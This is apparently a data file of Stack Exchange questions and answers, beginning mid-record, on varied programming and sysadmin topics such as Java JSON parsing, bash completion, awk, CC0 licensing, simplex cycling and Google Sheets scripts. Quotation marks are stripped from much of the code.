getJson(link);        Gson gson = new Gson();        FixturesJsonParser fixturesJP = gson.fromJson(jsonFixturesData, FixturesJsonParser.class);        System.out.println(Displaying Chelsea Fc Fixtures From  +fixturesJP.getTimeFrameStart() +                 to  + fixturesJP.getTimeFrameEnd());        System.out.println(Total Number Matches:  +fixturesJP.getNumOfGamesInTimeFrame() +\\n);        for(int i=0; i<fixturesJP.getNumOfGamesInTimeFrame(); i++){            System.out.println(Match  +(i+1) + Details);            System.out.println(fixturesJP.getFixtureDetails(i).getHomeTeamName()+  VS.                     +fixturesJP.getFixtureDetails(i).getAwayTeamName());            System.out.println(Match Time: +fixturesJP.getFixtureDetails(i).getMatchDate());            System.out.println(\\n);        }        // To get goals by home team for particular Match i.e match result        //System.out.println(fixturesJP.getFixtureDetails(1).getMatchResult().getHomeTeamGoals());    }}class FixturesJsonParser{    private String timeFrameStart;    private String timeFrameEnd;    private int count;    private ArrayList<FixtureDetails> fixtures;    protected String getTimeFrameStart(){        return timeFrameStart;    }    protected String getTimeFrameEnd(){        return timeFrameEnd;    }    protected int getNumOfGamesInTimeFrame(){        return count;    }    protected FixtureDetails getFixtureDetails(int matchNum){        return fixtures.get(matchNum);    }    class FixtureDetails{        private String date;        private String homeTeamName;        private String awayTeamName;        private MatchResult result;        protected String getMatchDate(){            return date;        }        protected String getHomeTeamName(){            return homeTeamName;        }        protected String getAwayTeamName(){            return awayTeamName;        }        protected MatchResult getMatchResult(){            return new MatchResult();        }    }     class MatchResult {        private String goalsHomeTeam;        private String goalsAwayTeam;        protected String getHomeTeamGoals(){            return goalsHomeTeam;        }    }} The JSON obtained from API is formatted as below:HTTP/1.1 200 OKContent-Type application/json;charset=UTF-8X-Response-Control: minified...{    timeFrameStart: 2015-10-30,    timeFrameEnd: 2015-11-12,    count: 2,    fixtures:    [        {            id: 149348,            soccerseasonId: 405,            date: 2015-11-03T19:45:00Z,            matchday: 4,            homeTeamName: Manchester United FC,            homeTeamId: 66,            awayTeamName: CSKA Moscow,            awayTeamId: 751,            result:            {                goalsHomeTeam: null,                goalsAwayTeam: null            }        },        {            id: 146976,            soccerseasonId: 398,            date: 2015-11-07T15:00:00Z,            matchday: 12,            homeTeamName: Manchester United FC,            homeTeamId: 66,            awayTeamName: West Bromwich Albion FC,            awayTeamId: 74,            result:            {                goalsHomeTeam: null,                goalsAwayTeam: null            }        }    ]}"  , "title": "Parse JSON data of upcoming fixtures of Chelsea FC"  , "tags": "java;beginner;json;api"  } 
{  "id": "_unix.294905"  , "question": "I have a custom command define that gets words definition from dictionary. I wanted to make an autocomplete script to complete the words I want to define using the list of words found in /usr/share/dict/words. This is what I have so far:Autocomplete script: /etc/bash_completion.d/define_define(){    dict='/usr/share/dict/words'    cur=${COMP_WORDS[COMP_CWORD]}    regex=^$cur*    words=$(grep $regex $dict)    if [[ $cur != -* ]]    then        COMPREPLY=( $( compgen -W $(echo $words) $cur) )    else        COMPREPLY=()    fi    return 0}complete -F _define defineWhen I hit [tab][tab] sometimes I get a list of words begining with the typed word, other times it just deletes the last character. For example when I do define wall [tab][tab] I get define wal, but if I do define wal [tab][tab] I get a list of words.Why is this happening?"  , "title": "Autocomplete deletes last character from words sometimes"  , "tags": "bash;autocomplete"  } 
{  "id": "_cs.4794"  , "question": "An instance of the SUBSET SUM problem (given $y$ and $A = \\{x_1,...,x_n\\}$ is there a non-empty subset of $A$ whose sum is $y$) can be represented on a one-tape Turing Machine with a list of comma separated numbers in binary format.If $\\Sigma = \\{0,1,\\#\\}$ a reasonable format could be:$( 1 \\; (0|1)^* \\; \\#)^* \\#$Where the first required argument is the value $y$ and $\\#\\#$ encodes the end of the input. For example: 1  0  0  #  1  0  #  1  #  #^^^^^^^^     ^^^^     ^   y          x1     x2Instance: y=4, A={2,1}I would like to enumerate the SUBSET SUM instances.Question: What is the (best) time complexity that can be achieved by a Turing Machine $TM_{Enum}$ that on input $m$ (which can be represented on the tape with a string of size $\\log m + 1$) - outputs the $m$-th SUBSET SUM instance in the above format?EDIT:Yuval's answer is fine, this is only a longer explanation.Without loss of  generality we set that $y > 0$ and $0 < x_1 \\leq x_2 \\leq ...  \\leq x_n$, $n \\geq 0$And we can represent an instance of subset sum using this encoding:$y \\# x_1\\# d_2\\# ...\\# d_{n} \\#\\#$ where $d_i \\geq 1, x_i = x_{i-1} + d_i - 1 \\; , i \\geq 2$Using a binary representation for $y,x_1, d_2, d_3, ...$ we have the following representation:$1 \\; ((0|1)^* \\# 1)^* \\; \\#\\#$Equivalent to $1 \\; (0|1|\\#1)^* \\; \\#\\#$. There is always a leading 1 and a trailing ## so we can consider only the $(0|1|\\#1)^*$ part.So the decoder TM on input $m$ in binary format should:output the leading 1convert $m$ to base 3 mapping digit 2 to $\\#1$when outputing the i-th intermediate $\\#$ calculate $x_i = d_i + x_{i-1}-1$output the trailing $\\#\\#$No duplicate instances are generated."  , "title": "Time complexity of an enumeration of SUBSET SUM instances"  , "tags": "algorithms;formal languages;turing machines;enumeration"  , "accepted_answer": "SUBSET-SUM instances can be encoded in base 3. We have codes for $0,1,\\#$. Some codings are invalid, but in that case we can just immediately output $\\#\\#$ (or $\\#$, if we have just written $\\#$). Every SUBSET-SUM problem has infinitely many encodings, I hope that's not a problem.If the input has length $\\ell$, then (assuming the tape alphabet has at least 4 symbols) we can do the conversion in time $O(\\ell^2)$. I don't know whether this is the best time complexity achievable.Edit: Here is a better encoding. We still have only three input codes, $0,1,\\#$. The output string always starts with $1$ and ends with $\\#\\#$. Further, $\\#$ is output as $\\#1$. Now each output string is generated once, though several output strings could correspond to the same instance.As an example, your instance is encoded by 00#0#."  } 
{  "id": "_softwareengineering.250259"  , "question": "I want to release all my future FOSS projects under a public domain license such as CC0. This is in order to avoid the requirement for attribution present in most FOSS licenses, mainly when the code is compiled into a binary, but also when somebody decides to copy a small portion of my code into their own open source project.So suppose somebody copies a method from my code into their own, which they are planning to release under an MIT license. In order to release the code under MIT, they must claim copyright of the code; but can they claim copyright of the whole if a portion of the code was not their creation? Is that what it means to claim copyright of a derived work?It may seem strange that somebody could take a piece of public domain code, modify it, and apply a new license to the modified version that imposes further restrictions on its usage, such as the attribution requirement of MIT. But since their additional restrictions would apply only to the modified version and not the original version, this seems legitimate.My main concern is maximizing the ways in which people can utilize my code, without worrying about licensing requirements, and also to avoid a viral effect where any derivative works have to be themselves licensed under CC0."  , "title": "Does CC0 allow sublicensing of derived works?"  , "tags": "licensing;open source;copyright;creative commons"  , "accepted_answer": "#include <ianal.h>Document style licenses are often a poor fit for source code.  Of these, the ones that are a gift (and that is a word with legal implications) are the most problematic.Public domain, as seen in the US, is a gift.  In particular, a gift may be revoked for any reason.  This makes something that is in the public domain possibly treacherous for open source - when the gift is revoked, it suddenly has back its full copyright protections.There are also countries that don't recognize public domain at all.  According to a creative commons survey countries such as Belgium, Denmark, France, Germany (and the list goes on and on) don't recognize public domain at all, or only recognize it after the copyright has expired.  Of the countries that do recognize public domain, many allow the revocation of it if the copyright hasn't expired.There are anecdotes (I can't find it at the moment) of an open source project that was completely released under public domain that wasn't useable at all in those countries - and so for people there to use and modify the source, they had to get a commercial license (which cost $$$).So, on to CC0.  The key to CC0 is that it has some wording in there to make it a license rather than a gift.To the greatest extent permitted by, but not in contravention of, applicable law, Affirmer hereby overtly, fully, permanently, irrevocably and unconditionally waives, abandons, and surrenders all of Affirmer's Copyright and Related Rights and associated claims and causes of action, whether now known or unknown (including existing as well as future claims and causes of action), in the Work (i) in all territories worldwide, (ii) for the maximum duration provided by applicable law or treaty (including future time extensions), (iii) in any current or future medium and for any number of copies, and (iv) for any purpose whatsoever, including without limitation commercial, advertising or promotional purposes (the Waiver).Note the 'permanently' and 'irrevocably' words being used.  CC0 cannot be revoked.  It also goes on to state that the heirs cannot revoke it either (an issue with public domain).Background reading: http://www.rosenlaw.com/lj16.htmAs to the core question of if CC0 can be sublicensed?  GNU.org lists licenses that are compatible with the GPL on Various Licenses and Comments about Them lists the GPL as a compatible license.  They also list public domain as being compatible tough note the issues that I raised in the first part... I'm sure that GNU has good lawyers who will fight if something is revoked or there are issues in those countries (on the other hand, I don't and would be vary wary of accepting public domain donations to an open source project).All that said, CC0 still strikes me as awkward in that the license is different for different countries recognizing different parts being contrary to local law (I know that Creative Commons has done a great job to the best of their ability in crafting this).  There are places where parts of the permissive license for CC0 would have difficulty (France - Right to withdrawal or reconsider I am still not a lawyer, much less one versed in French law written in English).The thing is, programmers who are going to be caring at all about the license already know how to deal with the MIT, or BSD, or GPL.  Other licenses require some legal reading for the project as to if you can include them or not.I'd also point to http://choosealicense.com/licenses/ - scrolling down to the bottom for the public domain one, note that the unlicense allows for sub licensing while CC0 does not.So suppose somebody copies a method from my code into their own, which they are planning to release under an MIT license. In order to release the code under MIT, they must claim copyright of the code; but can they claim copyright of the whole if a portion of the code was not their creation? Is that what it means to claim copyright of a derived work?Give http://www.rosenlaw.com/lj19.htm a read for background (note that this reading of derative works is in conflict with the GPL's understanding - but since we're not talking about the GPL the reading of it is much more common sense).There are several ways to address the approach.  You could put the function in another library and point out that library is a derivative work, licensed under however it was obtained (which is compatible with the rest of the project). The copyright of the rest of the project is not a derivative work (GPL questions of static and dynamic linking aside - they try to make the derivative work extend to as many things as possible).For example, if code snippet foo was from an BSD licensed work, you could stick foo in its own library.  That would be a derivative work of an apache product and licensed under BSD license.  Then the rest of your code would be MIT licensed (for example) and not a derivative work.  And since the BSD and MIT licenses are compatible, thats the end of the story.I just used BSD as an example for your license, but really it could be anything as long as it was compatible with the license I'm using.  And while CC0 is compatible with everything - there are other, better understood licenses for software that are similarly nearly universally compatible.  The BSD 2 clause or MIT, or Apache 2.0 licenses are ones people understand.To get the widest use of your code, you should use a license that people know and understand.  If you chose something that is less well understood programmers may be less likely to use it because of the possible legal implications that they'd have to ask a lawyer about.  If you have to check if CC0 is sub licensable or not, you don't use it.  If you see a BSD license, you know what you can do with it.You could always go with WTFPL.I am still not a lawyer."  } 
{  "id": "_unix.250827"  , "question": "On my image folder i want only images,so i will find all video files intruders using this command(found somewhere on stackexchange)find folder/imageonly  -type f -exec file -N -i -- {} + |sed -n 's!: video/[^:]*$!!p'But if i want a reverse search?For example i want to find all not video files in video folder?p.s=i don't use extensions,so flags file -N -i.. must be used"  , "title": "Find file type reverse"  , "tags": "find"  , "accepted_answer": "Add an address range to your sed:find folder/imageonly  -type f -exec file -N -i -- {} + |  sed -n '/: video\\/[^:]*$/!s!: [[:alnum:]]*/[^:]*$!!p'/: video\\/[^:]*$/! tells it to run the commands on every line that doesn't match the pattern, which you used for matching videos."  } 
{  "id": "_cs.1393"  , "question": "I am given an exercise unfortunately I didn't succeed by myself.There is a set of rectangles $R_{1}..R_{n}$ and a rectangle $R_{0}$. Using plane sweeping algorithm determine if $R_{0}$ is completely covered by the set of $R_{1}..R_{n}$.For more details about the principle of sweep line algorithms see here.Let's start from the beginning. Initially we know sweep line algorithm as the algorithm for finding line segment intersectionswhich requires two data structures:a set $Q$ of event points (it stores endpoints of segments and intersections points)a status $T$ (dynamic structure for the set of segments the sweep line intersecting)The General Idea: assume that sweep line $l$ is a vertical line that starts approaching the set of rectangles from the left. Sort all $x$ coordinates of rectangles and store them in $Q$ in increasing order - should take $O(n\\log n)$. Start from the first event point, for every point determine the set of rectangles that intersect at given $x$ coordinate, identify continuous segments of intersection rectangles and check if they cover $R_{0}$ completely at current $x$ coordinate. With $T$ as a binary tree it's gonna take $O(\\log n)$. If any part of $R_{0}$ remains uncovered that $R_{0}$ is not completely covered.Details: The idea of segment intersection algorithm was that only adjacent segments intersect. Based on this fact we built status $T$ and maintained it throughout the algorithm. I tried to find a similar idea in this case and so far with no success, the only thing I can say is two rectangles intersect if their corresponding $x$ and $y$ coordinates overlap. The problem is how to build and maintain $T$, and what the complexity of building and maintain $T$ is. I assume that R trees can be very useful in this case, but as I found it's very difficult to determine the minimum bounding rectangle using R trees. Do you have any idea about how to solve this problem, and particularly how to build $T$?"  , "title": "Rectangle Coverage by Sweep Line"  , "tags": "algorithms;computational geometry"  , "accepted_answer": "Let's start with $n$ axis-aligned rectangles, since there is a kind of easy direct argument.  We'll sweep a vertical line.  The events are the endpoints of horizontal edges of the rectangles.  As we sweep we maintain a set of intervals on the sweep line that are uncovered by $R_i$, $i\\ge 1$:Add the vertical interval covered by the rectangle $R_i$ to the sweep line when we first encounter $R_i$Remove the vertical interval covered by the rectangle $R_i$ from the sweep line when it moves past $R_i$It's easy to do this with a binary tree so that updates take $O(\\log n)$ time.  (The problem is, essentially, 1-dimensional.  You figure out if the endpoints are in an uncovered interval and extend/merge appropriately when adding and lengthen them when removing.)Then you just check that, in the span of $R_0$, none of the uncovered intervals ever intersect the vertical span of $R_0$.  The whole thing is $O(n\\log n)$ time an $O(n)$ space.For the general case, the obvious trick is not quite so fast.  Use the standard sweep line algorithm to compute the whole planar subdivision induced by the rectangles. Clearly some disk-like set $F'$ of the faces covers $R_0$.  By itself, this doesn't tell us enough, since what we are interested in is whether any of these faces is inside $R_0$ and outside the other rectangles.  To do this, we modify the construction a little bit, so that when we add an edge, we tag one side with the identity of the rectangle it's inside.  This adds $O(1)$ overhead, so the construction is $O(n^2\\log n)$ time; with no assumptions on the rectangles, the output can be $\\Omega(n^2)$ in size, so we are using that much space in the worst case, so the time is, existentially optimal though not output sensitive.Finally, $R_0$ is covered so long as none of the faces in $F'$ have only edges not tagged as being in one of the $R_i$.  The point is that if an edge of $f$ is in $R_i$, then the whole of $f$ is as well. Imagine sweeping a line over $f$ orthogonally along this edge: it can only leave $R_i$ either outside of $f$ or $f$ is bounded by more than one edge of $R_i$.So the conclusion is that the special case is $O(n\\log n)$ and the general one is $O(n^2\\log n)$ at least, but I suspect it can be improved."  } 
{  "id": "_unix.377913"  , "question": "I use the following awk in order to remove duplicate lines from the /etc/fstab file on Linux.The problem that it also removes the lines that start with #.How can I change the awk syntax in order to ignore lines starting with # in the file?awk '!a[$0]++'  /etc/fstab > /etc/fstab.newcp /etc/fstab.new /etc/fstab"  , "title": "awk + remove duplicate lines but ignore lines that begin with #"  , "tags": "awk;fstab"  , "accepted_answer": "Tell AWK to accept lines starting with # as well as non-duplicate lines:awk '/^#/ || !a[$0]++' /etc/fstab > /etc/fstab.newIf you want to avoid doing this if there are no duplicate lines (per your comments), you can use something likeif awk '!/#^/ && a[$0]++ { dup = 1 }; END { exit !dup }' /etc/fstab; then    awk '/^#/ || !a[$0]++' /etc/fstab > /etc/fstab.new    copy /etc/fstab.new /etc/fstabfibut that ends up dong the work twice effectively."  } 
{  "id": "_webapps.69125"  , "question": "The shortcut to bring up the search interface in Trello is /, but a Trello user is reporting that the / key on his Swedish keyboard does not bring up search.I've seen this issue with other web apps and non-English-US keyboards as well. Is there a workaround for users with foreign language keyboards to be able to use these kinds of keyboard shortcuts?"  , "title": "Are there workarounds for when browser shortcut keys break for users with foreign language keyboards?"  , "tags": "trello;keyboard shortcuts;localization"  } 
{  "id": "_codereview.142470"  , "question": "I'm parsing an XML file and searching for a child value.As I'm familiar with this XML file structure, I know that the final value is a child of a child, and so I wrote the following code section:/*Parse XML file and find device friendlyName*/pxUpnp = ezxml_parse_file(XML_FILE_PATH);pxUpnpChild = ezxml_child(pxUpnp, device);/*Looking for friendlyName sub-child*/pxUpnpSubChild = ezxml_child(pxUpnpChild, friendlyName);This code works, but I wander if there is a better or more elegant method to parse a 'child of a child' value using ezxml library?Thank you all in advance! "  , "title": "Parse child value from XML using ezxml"  , "tags": "c;xml;linux"  } 
{  "id": "_unix.363983"  , "question": "I currently have chroot users whos home directories contain both an 'upload' directory and a 'download' directory.Originally the permissions on the upload directory wherechown user:sftpadmin uploadchmod 370 uploadand the permissions on the download directory wherechown user:sftpadmin downloadchmod 570 dowloadThe purpose of the sftpadmins group is for service accounts that are a member of this group would be able to place/retrieve files for the user from the respective directories.Now we have a request to allow the users the ability to delete files in the download directory after they are finished with them. However the only option I can come up with to accomplish this is setting the permissions on the download dir to chmod 770 downloadHowever this would grant the chroot'ed users the ability to write any file to this directory, which I would like to avoid.Is there any combination of permissions I can set that would allow them the ability to read, download, and delete the files in the directory, without allowing them to write files to the download directory? It would look something like:Allow user to remove (delete) a fileWill not allow user to change the file.Will not allow user to add a file to the directory."  , "title": "Granting user ability to delete a file without giving them write permissions to the directory"  , "tags": "files;permissions"  , "accepted_answer": "Well it depends:It's not possible with standard posix permissions, as deleting a file needs the same permission as adding: write permission on the containing directory. If however your file system supports NFSv4 access control lists (e.g. ZFS) it is possible, as there exist the distinct control entries write-data (-> create files) and delete-child. You just have to set the allow delete-child entry on the directory for the particular user, but not the allow write-data entry (or instead: set deny write-data).See https://linux.die.net/man/5/nfs4_acl for a detailed description"  } 
{  "id": "_codereview.92908"  , "question": "I am looking for a way to merge two files with a list of distinct words, one word per line. I have to create a new txt file that would contain all the words of the first list and all the words from the second list. I don't have any other specifications.  The order of words in the result doesn't matter.public class testMain {    public static void main(String[] args) {        File f1=new File(words.txt);        File f2=new File(words1.txt);        HashSet <String> hash1=new HashSet<String>();        HashSet <String> hash2=new HashSet<String>();        try{            Scanner s=new Scanner(f1);            while(s.hasNextLine()){                hash1.add(s.nextLine());            }            s=new Scanner(f2);            while(s.hasNextLine()){                hash2.add(s.nextLine());            }        }        catch(FileNotFoundException e){}        hash1.addAll(hash2);        Object[]array =hash1.toArray();        File newFile=new File(mixOfLists.txt);        try{        PrintWriter writer=new PrintWriter(newFile);        for(int i=0; i<array.length; i++){            writer.println(array[i]);        }            writer.close();        }        catch(FileNotFoundException e){ System.out.print(No Such File);}        System.out.print(Done!);        }}"  , "title": "The most efficient way to merge two lists in Java"  , "tags": "java;file;hash table"  , "accepted_answer": "Exception HandlingYour handling is not great.... this is a sign of poor forward planning:    catch(FileNotFoundException e){}And this is a sign of something almost as bad:    catch(FileNotFoundException e){ System.out.print(No Such File);}    System.out.print(Done!);    }The first time I read that, I got confused and thought the Done! println was part of the exception handling. You need to work on the indentation. Also, just printing No such file is not a very helpful exception handling.Style1-liner blocks are seemingly convenient  but in the long term can have negative impacts on maintainability. You have a lot of them, and they make reading your code hard.Your code is also suffocating due to lack of whitespace. You need to put spaces around operators to help the code to breath.... yeah, that sounds alarmist, but it really helps.    File newFile=new File(mixOfLists.txt);    try{    PrintWriter writer=new PrintWriter(newFile);    for(int i=0; i<array.length; i++){        writer.println(array[i]);    }should be:    File newFile = new File(mixOfLists.txt);    try{        PrintWriter writer = new PrintWriter(newFile);        for(int i = 0; i < array.length; i++) {            writer.println(array[i]);        }        ....ResourcesYou should use try-with-resources for your IO sources and sinks. As things stand at the moment, you don't close the readers properly.AlgorithmYou're reading both files in to their own sets, and then merging the sets, and then outputting the result.A better solution would be to use the boolean return value from the add(...) method to determine whether the word has been seen before... consider:        while(s.hasNextLine()){            String line = s.nextLine();            if(hash1.add(line)) {                writer.println(line);            }        }The above code can be used for both the input files, and only writes out the word if the word has not been seen before.This way you have only one set, and you do the merge at the same time as the reading.Also, you should be using Java 8 streams..... hmmm... that would be nice."  } 
{  "id": "_unix.181887"  , "question": "I am trying to install mail/pine-pgp-filters on my FreeBSD box, but I am running into a problem. I first tried to install it without having GPG installed, and it listed security/gpg1 as a dependency. I wanted gpg2 (security/gpg), and so I built and installed that. I then attempted to re-install pine-pgp-filters, but it still prompted me to install gpg1.I have confirmed that it is compatible with gpg2, and this segment of the Makefile should take care of which version to use: # We want to be version-agnostic here, but also record the right dependency# if the user installs the package and already has one or the other installed..if exists(${LOCALBASE}/bin/gpg2)BUILD_DEPENDS=  gpg2:${PORTSDIR}/security/gnupgRUN_DEPENDS+=   gpg2:${PORTSDIR}/security/gnupg.elseBUILD_DEPENDS=  gpg:${PORTSDIR}/security/gnupg1RUN_DEPENDS+=   gpg:${PORTSDIR}/security/gnupg1.endifSo, my question is: how do you make a port re-consider its dependencies? And if that isn't my problem, then what is?I am happy with solutions using ports directly, portmaster, pkg, whatever. "  , "title": "How to make a port recalculate dependencies"  , "tags": "freebsd;configure;bsd ports"  } 
{  "id": "_unix.302017"  , "question": "I have a program which uses these tables, and I want to add some additional functionality to its logging without modifying the program.groups------id bigint not nullname character varying(100) not nullusers-----id bigint not nullname character varying(100) not nullusers_groups------------group_id bigint not nulluser_id bigint not nullI want to write into syslog6 a user123 added to group456 or user123 removed from group456 message every time a user added or removed from a group. My first idea was using PostgreSQL triggers. CREATE OR REPLACE FUNCTION process_ext_audit()     RETURNS trigger AS $ext_audit$BEGIN        IF (TG_OP = 'DELETE') THEN            SELECT name                 into uname            FROM users            WHERE id = OLD.user_id;            SELECT name                 into gname            FROM groups            WHERE id = OLD.group_id;            -- write into local6: uname removed from gname        ELSIF (TG_OP = 'INSERT') THEN            SELECT name                 into uname            FROM users            WHERE id = NEW.user_id;            SELECT name                 into gname            FROM groups            WHERE id = NEW.group_id;            -- write into local6: uname added to gname        END IF;        RETURN NULL;END;$ext_audit$ LANGUAGE plpgsql;CREATE TRIGGER ext_auditAFTER INSERT OR DELETE ON users_groups    FOR EACH ROW EXECUTE PROCEDURE process_ext_audit();Is my approach good? If yes, how can I write into syslog from this function?I use postgresql 9.2 with CentOS 7 which uses rsyslog."  , "title": "How to log PostgreSQL table data changes into syslog?"  , "tags": "centos;syslog;rsyslog;postgresql;sql"  } 
{  "id": "_unix.98538"  , "question": "Can somebody help with adding a repo for SuSE Linux Enteprise Edition 10 SP3?First - can't find any official repos. Found a few repos for openSUSE and few other - but every time I try them I get this error (using YaST2):Unable to create installation source  'http://download.opensuse.org/repositories/openSUSE%3a/Tools/SLE_10/'. Unknown source type for http://download.opensuse.org/repositories/openSUSE%3a/Tools/SLE_10/I also get the same with other repos..."  , "title": "SLES 10 - repositories?"  , "tags": "repository;sles"  } 
{  "id": "_unix.283438"  , "question": "I recently installed ntp on Debian and when issue command:ntpdate ip_of_domain_controller it states: adjust time server.But the time is 3 hours earlier. Other equipment like HP switches are getting normal time.Is this a bug from unix side?"  , "title": "ntpdate on debian"  , "tags": "debian;ntpd"  } 
{  "id": "_scicomp.21911"  , "question": "I'm coding the simplex method and observing that it easily falls into cycling,even if Bland's rule is used.It seems to me I have found the reason and I would like to check my understanding is correct.It seems the problem is in tiny detail of the choice of the pivot row.We choose the pivot row r by the codition B_r / A_{rc} is minimal over r among all NONnegative values B_r / A_{rc} It seems to me the correct way is to change from NONnegative to strictly positive.Is it correct ? At least it helps in my example and seems Okay from theory point of view (well, I am not sure I completely understand the theory).(In  textbooks like Hamdy A. Taha and all internet pages they say about NONnegativity )Here is example of cycling with Bland's rule:simplexMatrix =1.0e+04 *-1.0999   -0.9000   -0.7000         0         0         0         0         0   -0.9000    0.0001    0.0001    0.0001    0.0001         0         0         0         0    0.0001    0.0010    0.0008    0.0006         0    0.0001         0         0         0    0.0008    0.0001         0         0         0         0    0.0001         0         0    0.0001         0    0.0001         0         0         0         0    0.0001         0    0.0001         0         0    0.0001         0         0         0         0    0.0001    0.0000simplexMatrix =1.0e+03 *     0   -0.2008   -0.4006         0    1.0999         0         0         0   -0.2008     0    0.0002    0.0004    0.0010   -0.0001         0         0         0    0.00020.0010    0.0008    0.0006         0    0.0001         0         0         0    0.0008     0   -0.0008   -0.0006         0   -0.0001    0.0010         0         0         0     0    0.0010         0         0         0         0    0.0010         0    0.0006     0         0    0.0010         0         0         0         0    0.0010    0.0004simplexMatrix =1.0e+03 *     0         0   -0.2500         0    1.1250   -0.2510         0         0   -0.2008     0         0    0.0003    0.0010   -0.0001    0.0002         0         0    0.00020.0010         0         0         0         0    0.0010         0         0    0.0008     0    0.0010    0.0007         0    0.0001   -0.0013         0         0         0     0         0   -0.0007         0   -0.0001    0.0013    0.0010         0    0.0006     0         0    0.0010         0         0         0         0    0.0010    0.0004simplexMatrix =1.0e+03 *     0    0.3333         0         0    1.1667   -0.6677         0         0   -0.2008     0   -0.0003         0    0.0010   -0.0002    0.0007         0         0    0.00020.0010         0         0         0         0    0.0010         0         0    0.0008     0    0.0013    0.0010         0    0.0002   -0.0017         0         0         0     0    0.0010         0         0         0         0    0.0010         0    0.0006     0   -0.0013         0         0   -0.0002    0.0017         0    0.0010    0.0004simplexMatrix =1.0e+03 *     0   -0.2008   -0.4006         0    1.0999         0         0         0   -0.2008     0    0.0002    0.0004    0.0010   -0.0001         0         0         0    0.00020.0010    0.0008    0.0006         0    0.0001         0         0         0    0.0008     0   -0.0008   -0.0006         0   -0.0001    0.0010         0         0         0     0    0.0010         0         0         0         0    0.0010         0    0.0006     0         0    0.0010         0         0         0         0    0.0010    0.0004Here is the same without Bland's rule simplexMatrix =1.0e+04 *-1.0999   -0.9000   -0.7000         0         0         0         0         0   -0.9000    0.0001    0.0001    0.0001    0.0001         0         0         0         0    0.0001    0.0010    0.0008    0.0006         0    0.0001         0         0         0    0.0008    0.0001         0         0         0         0    0.0001         0         0    0.0001         0    0.0001         0         0         0         0    0.0001         0    0.0001         0         0    0.0001         0         0         0         0    0.0001    0.0000simplexMatrix =1.0e+03 *     0   -0.2008   -0.4006         0    1.0999         0         0         0   -0.2008     0    0.0002    0.0004    0.0010   -0.0001         0         0         0    0.00020.0010    0.0008    0.0006         0    0.0001         0         0         0    0.0008     0   -0.0008   -0.0006         0   -0.0001    0.0010         0         0         0     0    0.0010         0         0         0         0    0.0010         0    0.0006     0         0    0.0010         0         0         0         0    0.0010    0.0004simplexMatrix =1.0e+03 *     0    0.3333         0         0    1.1667   -0.6677         0         0   -0.2008     0   -0.0003         0    0.0010   -0.0002    0.0007         0         0    0.00020.0010         0         0         0         0    0.0010         0         0    0.0008     0    0.0013    0.0010         0    0.0002   -0.0017         0         0         0     0    0.0010         0         0         0         0    0.0010         0    0.0006     0   -0.0013         0         0   -0.0002    0.0017         0    0.0010    0.0004simplexMatrix =1.0e+03 *     0   -0.2008   -0.4006         0    1.0999         0         0         0   -0.2008     0    0.0002    0.0004    0.0010   -0.0001         0         0         0    0.00020.0010    0.0008    0.0006         0    0.0001         0         0         0    0.0008     0   -0.0008   -0.0006         0   -0.0001    0.0010         0         0         0     0    0.0010         0         0         0         0    0.0010         0    0.0006     0         0    0.0010         0         0         0         0    0.0010    0.0004"  , "title": "Simplex method - cycling and condition >= or > in choice of pivot row"  , "tags": "optimization;linear programming"  } 
{  "id": "_webapps.105288"  , "question": "I have 5000 connections and Facebook told me that I need to create a page. Well, some connections are about acquaintances rather than people that I really want to keep in my Facebook profile, like family and close friends. Now, the only plan I had was to create a personal personal email and have the connections migrated there and keep everything else equal... but I don't see a way to achieve that either. I don't want my close contacts to become fans and lose the personal profile perks.Is there a way I can keep a personal account and a page for everything else?"  , "title": "How to upgrade my personal profile to a public figure, yet keep all my personal connections personal?"  , "tags": "facebook;facebook pages"  } 
{  "id": "_codereview.78289"  , "question": "I had a problem to define propTypes for my React class. I ran into solution that doesn't feel right:let React = require('react')let CallerCard = require('caller-card')class CallerDetailsPanel {  render() {    return (      <div className='caller-details-panel'>        <CallerCard person={this.props.callerData.owner} />        <CallerCard person={this.props.callerData.user} />      </div>    )  }}CallerDetailsPanel.prototype.propTypes = {    callerData: React.PropTypes.object}module.exports = React.createClass(CallerDetailsPanel.prototype)Is this correct approach or how propTypes should be defined? If I try to define them inside class, I get a Parse error from 6to5 / esprima on console."  , "title": "ES6 classes and ReactJS: implementing propTypes"  , "tags": "react.js;ecmascript 6"  } 
{  "id": "_unix.369776"  , "question": "I'm trying to do something like this:sudo su <<EOFselect x in a b c; do echo Selected $x; break; doneEOFHowever, it terminates without accepting input.It works if I do this:sudo su -c 'select x in a b c; do echo $x; break; done'But it's nicer writing longer scripts with heredoc (yes I know it's nicer still to put them in a file).I'm sure this is answered in various places, but I can't seem to hit the right bash/heredoc/tty/stdin search term combo.Is there any way to achieve this?"  , "title": "Run heredoc script via su attached to the current tty"  , "tags": "tty;su;stdin;here document"  , "accepted_answer": "The problem is that select is trying to read from stdin, which is redirected to the here-doc. Since there's no response to the prompt there, it gets an error.The solution is to redirect input back to the terminal within the here-doc.sudo -s <<'EOF'select x in a b c; do     echo Selected $x    breakdone </dev/ttyEOFAlso, you need to put quotes around EOF to prevent variable expansion in the here-doc. Otherwise it expands $x in the original shell, not in the subshell that gets the value from select."  } 
{  "id": "_webapps.77940"  , "question": "In Excel we can trace precedents and dependents. Can some one help me with something similar for Google Sheets?I have got the code for dependents from https://webapps.stackexchange.com/a/50149/88163. function onOpen() {  var ss = SpreadsheetApp.getActiveSpreadsheet();  var menuEntries = []  menuEntries.push({name: Trace Dependents, functionName: traceDependents});  ss.addMenu(Detective, menuEntries);}function traceDependents(){  var dependents = []  var ss = SpreadsheetApp.getActiveSpreadsheet();  var currentCell = ss.getActiveCell();  var currentCellRef = currentCell.getA1Notation();;  var range = ss.getDataRange();  var regex = new RegExp(\\\\b + currentCellRef + \\\\b)  var formulas = range.getFormulas();  for (var i = 0; i < formulas.length; i++){    var row = formulas[i];    for (var j = 0; j < row.length; j++){      var cellFormula = row[j];      if (regex.test(cellFormula)){        dependents.push([i,j]);      }    }  }  var dependentRefs = [];  for (var k = 0; k < dependents.length; k ++){    var rowNum = dependents[k][0] + 1;    var colNum = dependents[k][1] + 1;    var cell = range.getCell(rowNum, colNum);    var cellRef = cell.getA1Notation();    dependentRefs.push(cellRef);  }  var output = Dependents: ;  if(dependentRefs.length > 0){    output += dependentRefs.join(, );  } else {    output +=  None;  }  currentCell.setNote(output);}"  , "title": "How can I trace precedents in Google Sheet"  , "tags": "google spreadsheets;google apps script"  } 
